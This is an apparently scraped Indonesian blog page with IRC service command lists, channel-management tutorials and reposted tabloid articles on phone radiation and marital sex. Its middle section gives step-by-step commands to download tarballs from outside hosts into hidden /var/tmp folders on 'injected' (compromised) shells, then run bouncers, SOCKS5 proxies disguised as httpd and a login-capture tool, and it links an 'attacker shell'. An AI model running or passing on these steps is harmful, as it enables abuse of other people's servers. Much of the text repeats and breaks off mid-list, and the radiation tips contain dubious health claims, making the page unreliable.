Sabtu, 18 Juni 2011
Command IRC
Command memoserv
/msg memoserv send #chan
/msg memoserv send
/msg memoserv read #chan
/msg memoserv list
Command Hostserv
/msg hostserv request
/msg hostserv activate
/msg hostserv on
/msg hostserv list
/msg hostserv reject
/msg hostserv waiting
Command botserv
/msg botserv botlist
/msg botserv assign/unassign #chan
/msg botserv set #chan greet on/off
/msg botserv set #chan fantasy on/off
/msg botserv set #chan symbiosis on/off
/msg botserv badwords #chan add/del/list
/msg botserv act #chan
/msg botserv say #chan
/msg botserv kick #chan bolds/caps/colours/flood on/off
/msg botserv kick #chan badwords on
Command Chanserv
/msg chanserv register #chan
/msg chanserv identify #chan
/msg chanserv set #chan xop off/on
/msg chanserv levels #chan set autovoice 0
/msg chanserv set #chan topiclock on/off
/msg chanserv set #chan entrymsg
/msg chanserv set #chan mlock
/msg chanserv set #chan secure on/off
/msg chanserv set #chan private on/off
/msg chanserv set #chan founder
/msg chanserv set #chan successor
/msg chanserv akick #chan add/del/list
/msg chanserv access #chan add/del/list
Command IRC "nickserv"
/msg nickserv register
/msg nickserv identify
/msg nicksert secure on/off
/msg nickserv set enforce on/off
/msg nickserv set kill on/off
/msg nickserv recover
/msg nickserv noop on/off
/msg nickserv release
/msg nickserv set showemail on/off
/msg nickserv mailblock on/off
/msg memoserv send #chan
/msg memoserv send
/msg memoserv read #chan
/msg memoserv list
Command Hostserv
/msg hostserv request
/msg hostserv activate
/msg hostserv on
/msg hostserv list
/msg hostserv reject
/msg hostserv waiting
Command botserv
/msg botserv botlist
/msg botserv assign/unassign #chan
/msg botserv set #chan greet on/off
/msg botserv set #chan fantasy on/off
/msg botserv set #chan symbiosis on/off
/msg botserv badwords #chan add/del/list
/msg botserv act #chan
/msg botserv say #chan
/msg botserv kick #chan bolds/caps/colours/flood on/off
/msg botserv kick #chan badwords on
Command Chanserv
/msg chanserv register #chan
/msg chanserv identify #chan
/msg chanserv set #chan xop off/on
/msg chanserv levels #chan set autovoice 0
/msg chanserv set #chan topiclock on/off
/msg chanserv set #chan entrymsg
/msg chanserv set #chan mlock
/msg chanserv set #chan secure on/off
/msg chanserv set #chan private on/off
/msg chanserv set #chan founder
/msg chanserv set #chan successor
/msg chanserv akick #chan add/del/list
/msg chanserv access #chan add/del/list
Command IRC "nickserv"
/msg nickserv register
/msg nickserv identify
/msg nicksert secure on/off
/msg nickserv set enforce on/off
/msg nickserv set kill on/off
/msg nickserv recover
/msg nickserv noop on/off
/msg nickserv release
/msg nickserv set showemail on/off
/msg nickserv mailblock on/off
Cara Membuat Bot Mirc
IRC Bot adalah serangkaian script atau sebuah program yang berdiri sendiri yang bertujuan untuk melaksanakan fungsi-fungsi khusus dalam Internet Relay Chat (IRC). Seperti biasanya, IRC bot dipasang sebagai program terpisah yang berjalan pada host yang stabil. IRC bot akan berdiam di IRC Channel untuk menjaga agar tetap terbuka dan menjaga user yang jahil dari pengambil alihan IRC Channel (drop channel). Berdasar pada kondisi alami protokol IRC, sebuah bot akan tampil selayaknya user biasa. IRC bot dapat diatur untuk memberikan status operator ke user yang berwenang ketika user tersebut masuk ke channel, dan juga IRC bot menyediakan daftar operator yang seragam.
Sebagian dari fasilitas ini, tentu saja memerlukan status operator channel bagi bot itu sendiri. kebanyakan IRC bot tersebut berjalan dari komputer yang memiliki waktu uptime yang sangat panjang (pada umumnya pada turunan BSD atau Linux), cepat dan memiliki koneksi internet yang stabil. Di karenakan IRC makin populer di kalangan user dial-up, layanan khusus muncul dan menawarkan akses secukupnya pada server Linux stabil. User dapat menjalankan IRC bot dari shell account ini. Layanan seprti ini sering disebut sebagai shell provider.
Bot juga dapat dimanfaatkan untuk fungsi-fungsi yang lain, seperti mencatat peristiwa pada channel IRC, memberikan informasi yang diinginkan (sangat populer di channel yang memberikan layanan kepada user), membuat statistik, menscan spammer, menfilter kata-kata jorok,flooding,melaksanakan permainan tebak-tebakan dan lain sebagainya. Fungsi-fungsi tersebut biasanya di tulis menggunakan bahasa pemograman script seperti Tcl atau Perl.
IRC Bot yang populer antara lain Eggdrop, EnergyMech, Infobot, blootbot,dan Supybot.
sebagai berikut TCL nya :
BOT DOWNLOAD
Linux:
1. cd /var/tmp;wget http://faskalis.themafia.info/alat/Fascalis.tar.gz
Sebagian dari fasilitas ini, tentu saja memerlukan status operator channel bagi bot itu sendiri. kebanyakan IRC bot tersebut berjalan dari komputer yang memiliki waktu uptime yang sangat panjang (pada umumnya pada turunan BSD atau Linux), cepat dan memiliki koneksi internet yang stabil. Di karenakan IRC makin populer di kalangan user dial-up, layanan khusus muncul dan menawarkan akses secukupnya pada server Linux stabil. User dapat menjalankan IRC bot dari shell account ini. Layanan seprti ini sering disebut sebagai shell provider.
Bot juga dapat dimanfaatkan untuk fungsi-fungsi yang lain, seperti mencatat peristiwa pada channel IRC, memberikan informasi yang diinginkan (sangat populer di channel yang memberikan layanan kepada user), membuat statistik, menscan spammer, menfilter kata-kata jorok,flooding,melaksanakan permainan tebak-tebakan dan lain sebagainya. Fungsi-fungsi tersebut biasanya di tulis menggunakan bahasa pemograman script seperti Tcl atau Perl.
IRC Bot yang populer antara lain Eggdrop, EnergyMech, Infobot, blootbot,dan Supybot.
sebagai berikut TCL nya :
BOT DOWNLOAD
Linux:
1. cd /var/tmp;wget http://faskalis.themafia.info/alat/Fascalis.tar.gz
2. cd /var/tmp;tar zxfv Fascalis.tar.gz
3. cd /var/tmp;rm -fr Fascalis.tar.gz
4. cd /var/tmp/.dev12;./nadya a.txt (namabot) (identd) (nomerIP) (channel) (owner)
5. cd /var/tmp/.dev12;./dssl a.txt
6. ./dssl namaconfig.conf -> run the bot
FreeBSD:
1. cd /var/tmp;fetch http://faskalis.themafia.info/alat/free.tgz
2. cd /var/tmp;tar zxfv free.tgz
3. cd /var/tmp;rm -fr free.tgz
4. cd /var/tmp/.sh;./nadya a.txt (namabot) (identd) (nomerIP) (channel) (owner)
5. cd /var/tmp/.sh;./dssl a.txt
6. ./dssl namaconfig.conf -> run the bot
Jika Menginginkan tambahan tcl Pada bot :
cd /var/tmp/.dev12/scripts;wget http://www.sevenstartraders.com/busuk/PortCheck2.0.tcl
cd /var/tmp/.dat;./tcl -t a.txt PortCheck2.0.tcl
cd /var/tmp/.dev12/scripts;wget http://www.sevenstartraders.com/busuk/dns.tcl
cd /var/tmp/.dev12;./tcl -t a.txt dns.tcl
cd /var/tmp/.dev12/scripts;wget http://www.sevenstartraders.com/busuk/whois.tcl
cd /var/tmp/.dev12;./tcl -t a.txt whois.tcl
cd /var/tmp/.dev12/scripts;wget http://www.sevenstartraders.com/busuk/jodoh.tcl
cd /var/tmp/.dev12;./tcl -t a.txt jodoh.tcl
cd /var/tmp/.dev12/scripts;wget http://www.sevenstartraders.com/busuk/mutiara1.tcl
cd /var/tmp/.dev12;./tcl -t a.txt mutiara1.tcl
cd /var/tmp/.dev12/scripts;wget http://www.sevenstartraders.com/busuk/detik.tcl
cd /var/tmp/.dev12;./tcl -t a.txt detik.tcl
PSYBNC download :
Linux:
1. cd /var/tmp;wget http://faskalis.themafia.info/alat/Faskalis.tar.gz
2. cd /var/tmp;tar -zxvf Faskalis.tar.gz
3. cd /var/tmp;rm -fr Faskalis.tar.gz
4. cd /var/tmp/AhoK;./config (IDENTD) (PORT)
5. cd /var/tmp/AhoK;./fuck
6. cd /var/tmp/AhoK;./run
kalau uda dirun coba join ke #kuliah lalu test portcheck.. example `pc (nomerIP) (PORT)
FreeBSD:
1. cd /var/tmp;fetch http://faskalis.themafia.info/alat/bsd.tgz
3. cd /var/tmp;rm -fr Fascalis.tar.gz
4. cd /var/tmp/.dev12;./nadya a.txt (namabot) (identd) (nomerIP) (channel) (owner)
5. cd /var/tmp/.dev12;./dssl a.txt
6. ./dssl namaconfig.conf -> run the bot
FreeBSD:
1. cd /var/tmp;fetch http://faskalis.themafia.info/alat/free.tgz
2. cd /var/tmp;tar zxfv free.tgz
3. cd /var/tmp;rm -fr free.tgz
4. cd /var/tmp/.sh;./nadya a.txt (namabot) (identd) (nomerIP) (channel) (owner)
5. cd /var/tmp/.sh;./dssl a.txt
6. ./dssl namaconfig.conf -> run the bot
Jika Menginginkan tambahan tcl Pada bot :
cd /var/tmp/.dev12/scripts;wget http://www.sevenstartraders.com/busuk/PortCheck2.0.tcl
cd /var/tmp/.dat;./tcl -t a.txt PortCheck2.0.tcl
cd /var/tmp/.dev12/scripts;wget http://www.sevenstartraders.com/busuk/dns.tcl
cd /var/tmp/.dev12;./tcl -t a.txt dns.tcl
cd /var/tmp/.dev12/scripts;wget http://www.sevenstartraders.com/busuk/whois.tcl
cd /var/tmp/.dev12;./tcl -t a.txt whois.tcl
cd /var/tmp/.dev12/scripts;wget http://www.sevenstartraders.com/busuk/jodoh.tcl
cd /var/tmp/.dev12;./tcl -t a.txt jodoh.tcl
cd /var/tmp/.dev12/scripts;wget http://www.sevenstartraders.com/busuk/mutiara1.tcl
cd /var/tmp/.dev12;./tcl -t a.txt mutiara1.tcl
cd /var/tmp/.dev12/scripts;wget http://www.sevenstartraders.com/busuk/detik.tcl
cd /var/tmp/.dev12;./tcl -t a.txt detik.tcl
PSYBNC download :
Linux:
1. cd /var/tmp;wget http://faskalis.themafia.info/alat/Faskalis.tar.gz
2. cd /var/tmp;tar -zxvf Faskalis.tar.gz
3. cd /var/tmp;rm -fr Faskalis.tar.gz
4. cd /var/tmp/AhoK;./config (IDENTD) (PORT)
5. cd /var/tmp/AhoK;./fuck
6. cd /var/tmp/AhoK;./run
kalau uda dirun coba join ke #kuliah lalu test portcheck.. example `pc (nomerIP) (PORT)
FreeBSD:
1. cd /var/tmp;fetch http://faskalis.themafia.info/alat/bsd.tgz
2. cd /var/tmp;tar zxfv bsd.tgz
3. cd /var/tmp;rm -fr bsd.tgz
4. cd /var/tmp/.psy;./config (PORT)
5. cd /var/tmp/.psy;./fuck
6. cd /var/tmp/.psy;./run
kalau uda dirun coba join ke #kuliah lalu test portcheck.. example `pc (nomerIP) (PORT)
Cara Bikin Socks 5 Dari Shell Injekan :
1. wget / lwp-download / fetch http://faskalis.themafia.info/alat/socks.tgz
2. tar -zxvf socks.tgz
3. cd .setan
4. ./xh -s [ngentot-root-ya] ./httpd start
Setelah selesai, coba join ke #kuliah lalu test portcheck.. example `pc (nomerIP) 6543
Cara memperoleh login akses putty dari shell Injekan :
1. wget / lwp-download / fetch http://faskalis.themafia.info/alat/bin.tar.gz
2. tar -zvxf bin.tar.gz
3. rm -fr bin.tar.gz
4. ./blind
Gini Cara Bikin Kuis Bot 3 in 1.
Pertama - Pertama kira harus
1). Punya Access Internet
2). Punya Shell Account <== bagi shell nya donk
3). Beli Rokok Samsoe 1 Bungkus
4). Beli Kopi 1 Gelas Aja.
kalau sudah ada yg seperti di atas kita langsung memasuki ke Permasalahannya..
wget ke shell account mu wget http://faskalis.themafia.info/alat/b.tar.gz
seperti bikin bot tcl biasa:
1. cd /var/tmp;wget http://faskalis.themafia.info/alat/Faskalis.tar.gz
2. cd /var/tmp;tar -zxvf b.tar.gz
3. cd /var/tmp;rm -fr b.tar.gz
4. cd /var/tmp/.b/scripts;rm -fr kaos.tcl kaos.cfg quiz.rc quiz.tcl trivia.tcl rank.data
5. diedit tcl :
yg perlu di edit yaitu tcl :
+ kaos.tcl <=== edit nama channel nya aja
+ kaos.cfg <=== edit nama channel nya aja
+ quiz.rc <=== edit nama channel nya aja
+ quiz.tcl <=== edit nama channel nya aja
+ trivia.tcl <=== edit nama channel nya aja
+ rank.data <==== edit kamu kosongin ajah
kalau sudah ke selesai edit upload kembali tcl tsb
6. cd /var/tmp/.b;./b y.txt (namabot) (identd) (nomerIP) (channel) (owner)
7. cd /var/tmp/.b;./dssl y.txt
8. kalau sudah di run kita liat di mirc /whois nickbot. kalau sudah ada kita liat di channel kita lalau ketik !game
Attacker Shell : http://kuliah.zoomshare.com/files/alat.txt
3. cd /var/tmp;rm -fr bsd.tgz
4. cd /var/tmp/.psy;./config (PORT)
5. cd /var/tmp/.psy;./fuck
6. cd /var/tmp/.psy;./run
kalau uda dirun coba join ke #kuliah lalu test portcheck.. example `pc (nomerIP) (PORT)
Cara Bikin Socks 5 Dari Shell Injekan :
1. wget / lwp-download / fetch http://faskalis.themafia.info/alat/socks.tgz
2. tar -zxvf socks.tgz
3. cd .setan
4. ./xh -s [ngentot-root-ya] ./httpd start
Setelah selesai, coba join ke #kuliah lalu test portcheck.. example `pc (nomerIP) 6543
Cara memperoleh login akses putty dari shell Injekan :
1. wget / lwp-download / fetch http://faskalis.themafia.info/alat/bin.tar.gz
2. tar -zvxf bin.tar.gz
3. rm -fr bin.tar.gz
4. ./blind
Gini Cara Bikin Kuis Bot 3 in 1.
Pertama - Pertama kira harus
1). Punya Access Internet
2). Punya Shell Account <== bagi shell nya donk
3). Beli Rokok Samsoe 1 Bungkus
4). Beli Kopi 1 Gelas Aja.
kalau sudah ada yg seperti di atas kita langsung memasuki ke Permasalahannya..
wget ke shell account mu wget http://faskalis.themafia.info/alat/b.tar.gz
seperti bikin bot tcl biasa:
1. cd /var/tmp;wget http://faskalis.themafia.info/alat/Faskalis.tar.gz
2. cd /var/tmp;tar -zxvf b.tar.gz
3. cd /var/tmp;rm -fr b.tar.gz
4. cd /var/tmp/.b/scripts;rm -fr kaos.tcl kaos.cfg quiz.rc quiz.tcl trivia.tcl rank.data
5. diedit tcl :
yg perlu di edit yaitu tcl :
+ kaos.tcl <=== edit nama channel nya aja
+ kaos.cfg <=== edit nama channel nya aja
+ quiz.rc <=== edit nama channel nya aja
+ quiz.tcl <=== edit nama channel nya aja
+ trivia.tcl <=== edit nama channel nya aja
+ rank.data <==== edit kamu kosongin ajah
kalau sudah ke selesai edit upload kembali tcl tsb
6. cd /var/tmp/.b;./b y.txt (namabot) (identd) (nomerIP) (channel) (owner)
7. cd /var/tmp/.b;./dssl y.txt
8. kalau sudah di run kita liat di mirc /whois nickbot. kalau sudah ada kita liat di channel kita lalau ketik !game
Attacker Shell : http://kuliah.zoomshare.com/files/alat.txt
Membuat Channel Sendiri
pernah join di chan #banyuwangi, #jember atau #surabaya gimana , rame kan ? dulu sekitar akhir tahun 2007 chan #banyuwangi itu sangat sepi , tapi seiring berjalannya waktu....sekarang sudah banyak user yang mengenal chan tersebut sehingga sekarang udah banyak user pajang² nick disana.
hmmm.....gimana kepengan tau bagaimana cara mebuat channel seperti itu ? caranya cukup mudah kok..
Tutorial Membuat channel
1.Tentukan nama channel yang akan di registrasi gunakan nama yang mudah diingat.
2.pastikan bahwa channel tersebut belum di registrasi oleh user lain.
3.langsung aja registrasi ketik /msg chanserv register #chan
contoh: /msg chanserv register #ulili
chan selesai di registrasi
Memberikan hak access
terus bagaimana cara mengolah chan itu sendiri....hmm.... disini akan saya ajari dimana cara memberikan acc (access) kepada user lain.
@ <--- sop = super operator
@ <--- aop = auto operator
% <--- hop = halhof operator
ketik aja /msg chanserv pangkat #chan add nick
contoh /msg chanserv sop #smana add odipus
ctt : pastikan nick name udah di registrasi terlebih dahulu
untuk memberikan access kepada nickname yang belum di registrasi caranya
ketik /msg chanserv pangkat #chan add nick!*@*
contoh /msg chanserv aop #smana add bocah!*@*
Set auto Voice
pernah liad chan yang di set auto voice jadi begitu kita join chan tersebut langsung mendapat kan +V
contoh : +ulili
cara menset auto voice
ketik : /msg chanserv flags #chan *!*@* +V
contoh : /msg chanserv flags #smana *!*@* +V
maka begitu ada user yang join #smana akan mendapat kan voice secara otomatis
Set Topic chan
kalo kita join dichannel pernah lihat tulisan
topic is " --=={ Welcome to #smana }==-- "
set by chanserv
caranya cukup mudah
ketik aja : /msg chanserv topic #chan isi topik
contoh : /msg chanserv topic #ulili welcome to #ulili
Cara Kick n banned
bondan was kicked cy chanserv <-- kick
caranya :
ketik /msg chanserv kick #chan nickname
contoh /msg chanser kick #smana bondan
atau
chanserv set mode : +b !*!@blink <---banned
caranya :
ketik /msg chanserv ban #chan nickname
contoh /msg chanserv ban #ulili blink
Membersihkan semua users
perintah ini di gunakan untuk mengkick semua user yang ada di #chan tersebut.dan tidak semua OP bisa menjalankan perintah ini hanya Founder n user/operator( yang punya flags +R ) yang bisa menjalankan perintah ini.
caranya :
ketik : /msg chanserv clear #chan users
contoh : /msg chanserv clear #smana users
maka semua user #smana akan di kick oleh kalian
gimana penasaran ???
coba ajah....
Menyembunyikan Channel
jika kalian ingin membuat channel yang tidak bisa di lihat oleh orang lain pada saat di whois , inilah caranya
ketik : /msg chanserv set #chan mlock +s
contoh :/msg chanserv set #smana mlock +s
+s <--- enable secret
jadi chan #smana tidak akan muncul ketika di whois orang lain
cara ini dilakukan untuk mengantisipasi dari serangan flooder.
hmmm.....gimana kepengan tau bagaimana cara mebuat channel seperti itu ? caranya cukup mudah kok..
Tutorial Membuat channel
1.Tentukan nama channel yang akan di registrasi gunakan nama yang mudah diingat.
2.pastikan bahwa channel tersebut belum di registrasi oleh user lain.
3.langsung aja registrasi ketik /msg chanserv register #chan
contoh: /msg chanserv register #ulili
chan selesai di registrasi
Memberikan hak access
terus bagaimana cara mengolah chan itu sendiri....hmm.... disini akan saya ajari dimana cara memberikan acc (access) kepada user lain.
@ <--- sop = super operator
@ <--- aop = auto operator
% <--- hop = halhof operator
ketik aja /msg chanserv pangkat #chan add nick
contoh /msg chanserv sop #smana add odipus
ctt : pastikan nick name udah di registrasi terlebih dahulu
untuk memberikan access kepada nickname yang belum di registrasi caranya
ketik /msg chanserv pangkat #chan add nick!*@*
contoh /msg chanserv aop #smana add bocah!*@*
Set auto Voice
pernah liad chan yang di set auto voice jadi begitu kita join chan tersebut langsung mendapat kan +V
contoh : +ulili
cara menset auto voice
ketik : /msg chanserv flags #chan *!*@* +V
contoh : /msg chanserv flags #smana *!*@* +V
maka begitu ada user yang join #smana akan mendapat kan voice secara otomatis
Set Topic chan
kalo kita join dichannel pernah lihat tulisan
topic is " --=={ Welcome to #smana }==-- "
set by chanserv
caranya cukup mudah
ketik aja : /msg chanserv topic #chan isi topik
contoh : /msg chanserv topic #ulili welcome to #ulili
Cara Kick n banned
bondan was kicked cy chanserv <-- kick
caranya :
ketik /msg chanserv kick #chan nickname
contoh /msg chanser kick #smana bondan
atau
chanserv set mode : +b !*!@blink <---banned
caranya :
ketik /msg chanserv ban #chan nickname
contoh /msg chanserv ban #ulili blink
Membersihkan semua users
perintah ini di gunakan untuk mengkick semua user yang ada di #chan tersebut.dan tidak semua OP bisa menjalankan perintah ini hanya Founder n user/operator( yang punya flags +R ) yang bisa menjalankan perintah ini.
caranya :
ketik : /msg chanserv clear #chan users
contoh : /msg chanserv clear #smana users
maka semua user #smana akan di kick oleh kalian
gimana penasaran ???
coba ajah....
Menyembunyikan Channel
jika kalian ingin membuat channel yang tidak bisa di lihat oleh orang lain pada saat di whois , inilah caranya
ketik : /msg chanserv set #chan mlock +s
contoh :/msg chanserv set #smana mlock +s
+s <--- enable secret
jadi chan #smana tidak akan muncul ketika di whois orang lain
cara ini dilakukan untuk mengantisipasi dari serangan flooder.
Jumat, 17 Juni 2011
Tips Menghindari Radiasi Ponsel
TRIBUNJOGJA.COM - Dilaporkan sebelumnya, panel yang terdiri atas pakar internasional yang dikumpulkan oleh World Health Organization menyebutkan, ponsel mungkin bersifat karsinogenik pada manusia. Hal tersebut terungkap setelah mereka memeriksa lusinan hasil studi mengenai ponsel yang sudah pernah dipublikasikan.
"Sudah waktunya kita mulai menanggapi radiasi ponsel lebih serius," papar Ann Louise Gittleman, PhD, penulis bukubestseller versi harian New York Times, Zapped. "Tentu saja, teknologi tak perlu menghilang, kita hanya perlu mengedukasi dan mengembangkan strategi untuk mengurangi paparan radiasi buatan yang terbukti memiliki pengaruh biologis."
Untuk itu, Gittleman memberikan tips untuk membatasi paparan radiasi ponsel yang berbahaya:
1. Aktifkan speaker. Menggunakan speaker saat berbicara akan mengurangi energi atau tingkat kekuatan radiasi ponsel. Semakin jauh Anda dari antena ponsel, semakin rendah sinyalnya. Kabel headset pada banyak ponsel juga bisa bertindak sebagai antena, sehingga dapat mengirimkan sejumlah radiasi elektromagnetik ke kepala Anda.
2. SMS-an saja. Bila hobi Anda SMS-an, ini saatnya Anda memaksimalkan hobi Anda. Mengirim teks membatasi durasi paparan radiasi, dan menjaga jarak ponsel dari kepala dan tubuh kita. Namun perhatikan juga, pria sebaiknya tidak SMS-an sambil memangku ponsel. Jumlah studi yang menemukan kerusakan vitalitas dan motilitas (sperma yang dapat bergerak sendiri secara spontan) sperma dilaporkan meningkat. Bisa jadi, hal ini pun tak akan baik pengaruhnya pada rahim.
3. Pilih offline mode. Saat ponsel tidak digunakan, biasakan untuk mematikannya. Atau, atur menjadi offline, standalone, atau flight mode, yang akan mematikan transmitter-nya namun masih memungkinkan Anda untuk menggunakan ponsel untuk main game atau mendengarkan musik. Pokoknya, membuka aplikasi lain kecuali menelepon dan browsing internet.
4. Dari kuping kiri ke kuping kanan. Bila ada kondisi yang mengharuskan Anda menelepon, cobalah memindahkan ponsel dari telinga kiri ke telinga kanan berulang kali. Hal ini bisa membatasi paparan pada satu sisi kepala saja, yang sering dikaitkan dengan meningkatnya risiko tumor otak dan kanker kelenjar ludah pada telinga yang sering digunakan untuk mendengarkan ponsel.
5. Hindari ruang sempit. Saat berada di lift, kereta, atau mobil, sebaiknya tak usah sering-sering menelepon. Lagipula, menggunakan ponsel saat mengemudi juga akan membahayakan keselamatan Anda maupun pengguna jalan raya lainnya, kan?
6. Perhatikan sinyalnya. Jangan menggunakan ponsel ketika sinyalnya lemah, atau ketika Anda sedang berkendara di dalam mobil yang melaju sangat cepat (kereta api juga termasuk). Hal ini secara otomatis akan memicu kekuatan sinyal hingga maksimum, karena ponsel berusaha terhubung ke antena relay yang baru.
7. Jangan lama-lama. Menelepon sebaiknya tidak usah terlalu lama. Cukup untuk membuat janji dengan klien, atau mengingatkan anak untuk makan, misalnya. Jika Anda ingin ngobrol dengan teman SD yang baru ketemu di Facebook, sebaiknya gunakan telepon rumah. Atau, ketemuan saja di rumah atau di tempat ngopi. Lebih puas, kan? Jangan lupa, risiko tumor otak dimulai pada tingkat paparan kumulatif yang relatif rendah.
8. Kurangi bermain-main dengan smartphone. Perangkat seperti BlackBerry atau iPhone menghasilkan emisi yang lebih tinggi daripada ponsel, karena mereka bergantung pada energi dari baterai untuk melakukan aktivitas e-mail, koneksi internet, dan men-display warna.
9. Jauhkan ponsel ketika belum tersambung. Setelah menekan tombol nomor ponsel teman Anda, jangan langsung mendekatkan ponsel ke telinga. Saat itu, ponsel itu sedang berusaha terkoneksi, dan sedang mengirimkan sinyalnya yang terkuat.
10. Jangan mengantungi ponsel. Dalam suatu penelitian, ditemukan bahwa pria yang membawa ponselnya di dalam saku celana cenderung memiliki jumlah sperma yang 25 persen lebih rendah dibandingkan dengan kelompok pria lain yang tidak menyimpan ponselnya di saku celana. Bagian lain dari tubuh menyerap radiasi pada intensitas yang berbeda, dan jaringan testikular kemungkinan juga lebih mudah diserang.
11. Jangan meletakkan ponsel di tempat tidur. Anda memang membutuhkan alarm pada ponsel untuk membantu Anda bangun pagi. Tetapi, jangan meletakkan ponsel di dekat posisi kepala Anda. Medan elektromagnetik bisa mengurangi produksi melatonin pada tubuh, dan penyapu radikal bebas yang dapat melindungi sel-sel tubuh Anda dari kerusakan DNA. Seperti Anda tahu, kerusakan DNA dapat meningkatkan risiko kanker dan penyakit lain.
Sumber: SELF
Editor : iwan
Sumber : Kompas.com
"Sudah waktunya kita mulai menanggapi radiasi ponsel lebih serius," papar Ann Louise Gittleman, PhD, penulis bukubestseller versi harian New York Times, Zapped. "Tentu saja, teknologi tak perlu menghilang, kita hanya perlu mengedukasi dan mengembangkan strategi untuk mengurangi paparan radiasi buatan yang terbukti memiliki pengaruh biologis."
Untuk itu, Gittleman memberikan tips untuk membatasi paparan radiasi ponsel yang berbahaya:
1. Aktifkan speaker. Menggunakan speaker saat berbicara akan mengurangi energi atau tingkat kekuatan radiasi ponsel. Semakin jauh Anda dari antena ponsel, semakin rendah sinyalnya. Kabel headset pada banyak ponsel juga bisa bertindak sebagai antena, sehingga dapat mengirimkan sejumlah radiasi elektromagnetik ke kepala Anda.
2. SMS-an saja. Bila hobi Anda SMS-an, ini saatnya Anda memaksimalkan hobi Anda. Mengirim teks membatasi durasi paparan radiasi, dan menjaga jarak ponsel dari kepala dan tubuh kita. Namun perhatikan juga, pria sebaiknya tidak SMS-an sambil memangku ponsel. Jumlah studi yang menemukan kerusakan vitalitas dan motilitas (sperma yang dapat bergerak sendiri secara spontan) sperma dilaporkan meningkat. Bisa jadi, hal ini pun tak akan baik pengaruhnya pada rahim.
3. Pilih offline mode. Saat ponsel tidak digunakan, biasakan untuk mematikannya. Atau, atur menjadi offline, standalone, atau flight mode, yang akan mematikan transmitter-nya namun masih memungkinkan Anda untuk menggunakan ponsel untuk main game atau mendengarkan musik. Pokoknya, membuka aplikasi lain kecuali menelepon dan browsing internet.
4. Dari kuping kiri ke kuping kanan. Bila ada kondisi yang mengharuskan Anda menelepon, cobalah memindahkan ponsel dari telinga kiri ke telinga kanan berulang kali. Hal ini bisa membatasi paparan pada satu sisi kepala saja, yang sering dikaitkan dengan meningkatnya risiko tumor otak dan kanker kelenjar ludah pada telinga yang sering digunakan untuk mendengarkan ponsel.
5. Hindari ruang sempit. Saat berada di lift, kereta, atau mobil, sebaiknya tak usah sering-sering menelepon. Lagipula, menggunakan ponsel saat mengemudi juga akan membahayakan keselamatan Anda maupun pengguna jalan raya lainnya, kan?
6. Perhatikan sinyalnya. Jangan menggunakan ponsel ketika sinyalnya lemah, atau ketika Anda sedang berkendara di dalam mobil yang melaju sangat cepat (kereta api juga termasuk). Hal ini secara otomatis akan memicu kekuatan sinyal hingga maksimum, karena ponsel berusaha terhubung ke antena relay yang baru.
7. Jangan lama-lama. Menelepon sebaiknya tidak usah terlalu lama. Cukup untuk membuat janji dengan klien, atau mengingatkan anak untuk makan, misalnya. Jika Anda ingin ngobrol dengan teman SD yang baru ketemu di Facebook, sebaiknya gunakan telepon rumah. Atau, ketemuan saja di rumah atau di tempat ngopi. Lebih puas, kan? Jangan lupa, risiko tumor otak dimulai pada tingkat paparan kumulatif yang relatif rendah.
8. Kurangi bermain-main dengan smartphone. Perangkat seperti BlackBerry atau iPhone menghasilkan emisi yang lebih tinggi daripada ponsel, karena mereka bergantung pada energi dari baterai untuk melakukan aktivitas e-mail, koneksi internet, dan men-display warna.
9. Jauhkan ponsel ketika belum tersambung. Setelah menekan tombol nomor ponsel teman Anda, jangan langsung mendekatkan ponsel ke telinga. Saat itu, ponsel itu sedang berusaha terkoneksi, dan sedang mengirimkan sinyalnya yang terkuat.
10. Jangan mengantungi ponsel. Dalam suatu penelitian, ditemukan bahwa pria yang membawa ponselnya di dalam saku celana cenderung memiliki jumlah sperma yang 25 persen lebih rendah dibandingkan dengan kelompok pria lain yang tidak menyimpan ponselnya di saku celana. Bagian lain dari tubuh menyerap radiasi pada intensitas yang berbeda, dan jaringan testikular kemungkinan juga lebih mudah diserang.
11. Jangan meletakkan ponsel di tempat tidur. Anda memang membutuhkan alarm pada ponsel untuk membantu Anda bangun pagi. Tetapi, jangan meletakkan ponsel di dekat posisi kepala Anda. Medan elektromagnetik bisa mengurangi produksi melatonin pada tubuh, dan penyapu radikal bebas yang dapat melindungi sel-sel tubuh Anda dari kerusakan DNA. Seperti Anda tahu, kerusakan DNA dapat meningkatkan risiko kanker dan penyakit lain.
Sumber: SELF
Editor : iwan
Sumber : Kompas.com
Benarkah Seks Setelah Menikah Lebih Bikin Hot
TRIBUNJOGJA.COM, - Pasangan yang sudah menikah tentu akan mengalami kehidupan seks yang berbeda, dibandingkan dengan jika melakukannya sebelum menikah.
Segala sesuatunya menjadi terasa baru dan mendebarkan. Ini karena apa yang Anda hadapi sebelum menikah dan setelah menikah memang jauh berbeda.
Perbedaan utamanya, ketika belum terikat perkawinan, Anda berdua sama-sama masih egois sehingga tidak mengacuhkan kenyamanan satu sama lain.
Setidaknya, ada tujuh alasan lain mengapa Anda perlu menunda seks setelah hubungan sudah resmi, dan menjadikannya the best sex dalam hidup Anda:
1). Tidak lagi khawatir. Anda tidak perlu takut dosa, tidak pula khawatir akan hamil. Jadi, Anda tidak perlu lagi mengenakan kondom (kecuali Anda memang sedang melakukan KB). Ketika sudah menikah, Anda tentu lebih memercayai pria yang berkomitmen untuk mendampingi Anda hingga akhir hidup Anda. Jadi, tak ada pula ketakutan akan tertular penyakit menular seksual. Kecuali, lagi-lagi, bila suami ternyata juga sering "jajan" di luar tanpa pengaman.
Segala sesuatunya menjadi terasa baru dan mendebarkan. Ini karena apa yang Anda hadapi sebelum menikah dan setelah menikah memang jauh berbeda.
Perbedaan utamanya, ketika belum terikat perkawinan, Anda berdua sama-sama masih egois sehingga tidak mengacuhkan kenyamanan satu sama lain.
Setidaknya, ada tujuh alasan lain mengapa Anda perlu menunda seks setelah hubungan sudah resmi, dan menjadikannya the best sex dalam hidup Anda:
1). Tidak lagi khawatir. Anda tidak perlu takut dosa, tidak pula khawatir akan hamil. Jadi, Anda tidak perlu lagi mengenakan kondom (kecuali Anda memang sedang melakukan KB). Ketika sudah menikah, Anda tentu lebih memercayai pria yang berkomitmen untuk mendampingi Anda hingga akhir hidup Anda. Jadi, tak ada pula ketakutan akan tertular penyakit menular seksual. Kecuali, lagi-lagi, bila suami ternyata juga sering "jajan" di luar tanpa pengaman.
